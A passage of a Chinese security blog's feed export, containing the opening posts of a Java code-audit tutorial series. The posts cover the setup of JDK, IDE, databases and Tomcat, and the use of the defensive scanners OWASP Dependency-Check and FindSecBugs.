title="jeesns-model"></a>jeesns-model</h3><p>定义了所有和功能业务相关的数据模型，和数据库表对应。</p><h3 id="jeesns-common"><a href="#jeesns-common" class="headerlink" title="jeesns-common"></a>jeesns-common</h3><p>定义了其它模块会用到的常量以及工具类。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>本篇主要以 <code>JEESNS</code> 为例，介绍了目前比较流行的 <code>Java Web</code> 项目的结构。</p><p>理清项目结构后，我们就可以继续下一步——漏洞挖掘啦。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;我们在审计一个项目的时候，最开始应该是先熟悉项目的结构，了解项目的技术栈。&lt;/p&gt;
&lt;p&gt;本篇，我会引入一个开源的 Java Web 项目，通过实例分析 Java Web 的项目结构，常用的 MVC 模式。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="代码审计" scheme="https://jayl1n.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>从1开始的Java代码审计·第一弹·基础篇（上）</title>
    <link href="https://jayl1n.github.io/2018/10/25/java-audit-step-by-step-1/"/>
    <id>https://jayl1n.github.io/2018/10/25/java-audit-step-by-step-1/</id>
    <published>2018-10-24T17:59:39.000Z</published>
    <updated>2023-08-16T15:16:43.191Z</updated>
    
    <content type="html"><![CDATA[<h1 id="基本环境"><a href="#基本环境" class="headerlink" title="基本环境"></a>基本环境</h1><h2 id="JDK"><a href="#JDK" class="headerlink" title="JDK"></a>JDK</h2><p>目前，<code>JDK</code>已经出到<code>11</code>了，<code>JDK</code>每个版本都会有些新特性出来。很多情况下<code>JDK</code>并不向下兼容，导致一些软件在较新的<code>JDK</code>中无法正常运行，所以推荐用现在比较主流的<code>JDK8</code>。而且有些漏洞需要在低版本的<code>JDK</code>上才能复现出来，比如反序列化用到的<code>JNDI Bean Property</code>类型的<code>Gadget</code>，需要在小于<code>JDK8_113</code>的版本下才可以利用，所以在安装的时候建议再安装一个低版本的JDK。JDK安装时自带的控制面板程序，可以帮助我们很方便的切换版本。</p><a id="more"></a><p><img src="/2018/10/25/java-audit-step-by-step-1/jdk_ctl.png" alt="jdk-ctl"></p><h2 id="IDE"><a href="#IDE" class="headerlink" title="IDE"></a>IDE</h2><p>做任何一门语言的代码审计，一个强大的IDE是必不可少的，好的IDE可以极大提高我们审计的效率。写Java的程序及代码审计，我推荐使用JetBrains家的<a href="https://www.jetbrains.com/idea/" target="_blank" rel="noopener"><code>Intelij IDEA</code></a>（JB大法好 O(∩_∩)O ），内置的代码检查工具比Eclipse强太多了，而且有很多的插件支持。</p><h2 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h2><p>常见的数据库有 MySQL、PostgreSQL、Oracle，除此之外还有现在比较流行的非关系型数据库 Redis、Mongodb、Memcached 等等，有些数据库安装起来可能比较麻烦，不用一次性装完，有需要的时候再去装就行了。</p><h2 id="Web-容器"><a href="#Web-容器" class="headerlink" title="Web 容器"></a>Web 容器</h2><p><code>Java Web</code>应用在开发完后，通常会以<code>war</code>包的形式发布，我们需要把这个<code>war</code>包部署到自己的<code>Web容器</code>（也可以说是Web服务器）里去，容器在启动后会自动解压<code>war</code>包，处理用户发来的HTTP请求，将<code>jsp</code>编译成<code>servlet</code>，管理<code>servlet</code>的整个生命周期。</p><p>常见的 Web 容器有 Tomcat，JBoss，Jetty，Weblogic，不同的容器在功能、性能上有所差异，但仅仅是做代码审计用<a href="http://tomcat.apache.org/" target="_blank" rel="noopener"><code>Tomcat</code></a>就足够了。</p><hr><h1 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h1><h2 id="依赖检查"><a href="#依赖检查" class="headerlink" title="依赖检查"></a>依赖检查</h2><p>一个完整的Java项目，必然会引入一些外部的第三方库。这些库如果出了安全漏洞，会给应用带来巨大的风险。比如经常爆洞的<code>struts2</code>，以及最近几年很火的Java反序列化漏洞相关的<code>fastjson</code>,<code>jackson</code>,<code>apache-commons-collections</code>等等。如果开发者在开发的时候，没有对引入的库做安全检查，或者是直接从代码库里拉出来的依赖配置，那么很可能会引入过时了很久的库版本，带来安全隐患。在 OWASP TOP10 中有讲到这一类型的安全风险。</p><blockquote><p>参考 <a href="https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities" target="_blank" rel="noopener"><code>OWASP TOP10 A9</code></a></p></blockquote><p>推荐一个工具，OWASP 出的 <a href="https://www.owasp.org/index.php/OWASP_Dependency_Check" target="_blank" rel="noopener"><code>Dependency_Check</code></a>，可以自动帮我们检查，引入的第三方库是否有已知的安全漏洞。</p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><h4 id="插件模式"><a href="#插件模式" class="headerlink" title="插件模式"></a>插件模式</h4><p>作为 maven 的插件使用，用法很简单，直接在项目的 <code>pom.xml</code> 写入</p><pre><code><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.owasp<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>dependency-check-maven<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.3.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">goal</span>&gt;</span>check<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br></pre></td></tr></table></figure>然后，执行 `mvn verify` 就可以了。</code></pre><h4 id="命令行模式"><a href="#命令行模式" class="headerlink" title="命令行模式"></a>命令行模式</h4><p>我更喜欢以独立的命令行模式来运行，这样就不用进IDE额外修改 <code>pom.xml</code> 配置了。</p><ol><li><p>进入项目的github，<a href="https://github.com/jeremylong/DependencyCheck/releases" target="_blank" rel="noopener"><code>DependencyCheck</code></a>，找到最新的那版，下载下来。</p></li><li><p>解压出来，进到bin目录，有两个文件，分别对应windows版和linux版。</p></li></ol><p><img src="/2018/10/25/java-audit-step-by-step-1/bin_directory.png" alt="bin目录"></p><ol start="3"><li>进到命令行下，执行 <code>dependency-check.bat --project 项目名 --out 输出名 -s 源码路径</code> 即可，程序会自动从NVD更新漏洞库，所以需要点时间（应该还要翻墙）。</li></ol><p><img src="/2018/10/25/java-audit-step-by-step-1/exec_dc.png" alt="执行过程"></p><ol start="4"><li>扫描完毕后，会输出一份报告，如下：</li></ol><p><img src="/2018/10/25/java-audit-step-by-step-1/result_dc.png" alt="扫描结果"></p><h2 id="FindSecBugs"><a href="#FindSecBugs" class="headerlink" title="FindSecBugs"></a>FindSecBugs</h2><p><a href="https://find-sec-bugs.github.io" target="_blank" rel="noopener">FindSecBugs</a> 是专门用于检测Java Web应用安全漏洞的插件，支持多种IDE，还可以和SonarQube等代码分析平台集成。</p><h3 id="使用方法-1"><a href="#使用方法-1" class="headerlink" title="使用方法"></a>使用方法</h3><p>安装方法官网讲的很详细了，<a href="https://github.com/find-sec-bugs/find-sec-bugs/wiki/IntelliJ-Tutorial" target="_blank" rel="noopener">IDEA中安装FindSecBugs</a>。</p><p>这里主要讲IDEA中如何使用<code>FindSecBugs</code>。</p><p>IDEA打开要审计的项目以后，先点开 FindBugs-IDEA 标签，然后点左边的这个带绿色旗帜的文件夹logo，插件就会自动对项目进行审计。</p><p><img src="/2018/10/25/java-audit-step-by-step-1/exec_fsb.png" alt="开始扫描"></p><p><img src="/2018/10/25/java-audit-step-by-step-1/result_fsb.png" alt="扫描结果"></p><p>看这个项目的扫描结果，发现了 5 处安全bug，其中四处是文件的操作可能被用户控制，造成任意文件删除。当然，这也可能是误报，需要人工来再次确认。不过，这已经给我们的审计工作带来了很大的便利了（。＾▽＾）。</p><h2 id="抓包改包"><a href="#抓包改包" class="headerlink" title="抓包改包"></a>抓包改包</h2><p>做Java Web审计时，可能要结合黑盒的方法，动态调试。这时候就需要抓包改包的工具，发送自定义的HTTP包。这个功能很多工具都有，burpsuite，zap，postman，fiddler都可以用。</p>]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;基本环境&quot;&gt;&lt;a href=&quot;#基本环境&quot; class=&quot;headerlink&quot; title=&quot;基本环境&quot;&gt;&lt;/a&gt;基本环境&lt;/h1&gt;&lt;h2 id=&quot;JDK&quot;&gt;&lt;a href=&quot;#JDK&quot; class=&quot;headerlink&quot; title=&quot;JDK&quot;&gt;&lt;/a&gt;JDK&lt;/h2&gt;&lt;p&gt;目前，&lt;code&gt;JDK&lt;/code&gt;已经出到&lt;code&gt;11&lt;/code&gt;了，&lt;code&gt;JDK&lt;/code&gt;每个版本都会有些新特性出来。很多情况下&lt;code&gt;JDK&lt;/code&gt;并不向下兼容，导致一些软件在较新的&lt;code&gt;JDK&lt;/code&gt;中无法正常运行，所以推荐用现在比较主流的&lt;code&gt;JDK8&lt;/code&gt;。而且有些漏洞需要在低版本的&lt;code&gt;JDK&lt;/code&gt;上才能复现出来，比如反序列化用到的&lt;code&gt;JNDI Bean Property&lt;/code&gt;类型的&lt;code&gt;Gadget&lt;/code&gt;，需要在小于&lt;code&gt;JDK8_113&lt;/code&gt;的版本下才可以利用，所以在安装的时候建议再安装一个低版本的JDK。JDK安装时自带的控制面板程序，可以帮助我们很方便的切换版本。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="代码审计" scheme="https://jayl1n.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>从1开始的Java代码审计·序</title>
    <link href="https://jayl1n.github.io/2018/10/25/java-audit-step-by-step-0/"/>
    <id>https://jayl1n.github.io/2018/10/25/java-audit-step-by-step-0/</id>
    <published>2018-10-24T17:00:52.000Z</published>
    <updated>2023-08-16T15:16:43.191Z</updated>
    
    <content type="html"><![CDATA[<p>小组经常有小伙伴问我<code>Java</code>该怎么审计，其实我也挺头大的。因为我觉得审<code>Java</code>的代码和审<code>PHP</code>的代码，相差不大。WEB 漏洞就那些，只是换了门语言实现而已，只要漏洞原理知道了，审起来是很容易的。</p><p>很多学安全的同学，应该是从<code>PHP</code>入门的。<code>PHP</code>作为一门脚本语言，跨平台、语法简单、易上手、开源框架多、用户量大。但是，<code>PHP</code>语言本身的特性，它在后期的拓展和维护困难，而且支持所有漏洞（抖个机灵）。很多对系统稳定性、安全性要求较高的厂商不太会去选择<code>PHP</code>，而是<code>Java</code>或者别的语言。</p><p><code>Java</code>是纯正的面向对象的语言，适合团队协作开发，重构、维护相对轻松，语言生态好，且在高性能、高并发、分布式的场景吊打某语言。（虽然<code>PHP</code>也是支持面向对象的写法，不过身边真的在用面向对象的方法写<code>PHP</code>的同学真的很少，可能是不太理解面向对象的概念，也可能是因为写起来代码太长了？）</p><p>目前，网上关于 WEB 代码审计的文章很多都是<code>PHP</code>的，和<code>Java</code>相关的很少，而且质量一般。所以我打算做一个<code>Java</code>代码审计的系列，分享<code>Java</code>代码审计相关的小姿势。</p><p>在这个系列里，我假设每个读者都对 Java 和 WEB 安全方面的知识都有一定的了解，所以可能不会对漏洞的原理做很深的分析。</p><p>如果你觉得看起来有些累，或者对某个漏洞不理解，建议先去找些相关资料学习下。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;小组经常有小伙伴问我&lt;code&gt;Java&lt;/code&gt;该怎么审计，其实我也挺头大的。因为我觉得审&lt;code&gt;Java&lt;/code&gt;的代码和审&lt;code&gt;PHP&lt;/code&gt;的代码，相差不大。WEB 漏洞就那些，只是换了门语言实现而已，只要漏洞原理知道了，审起来是很容易的。&lt;
      
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="代码审计" scheme="https://jayl1n.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
</feed>
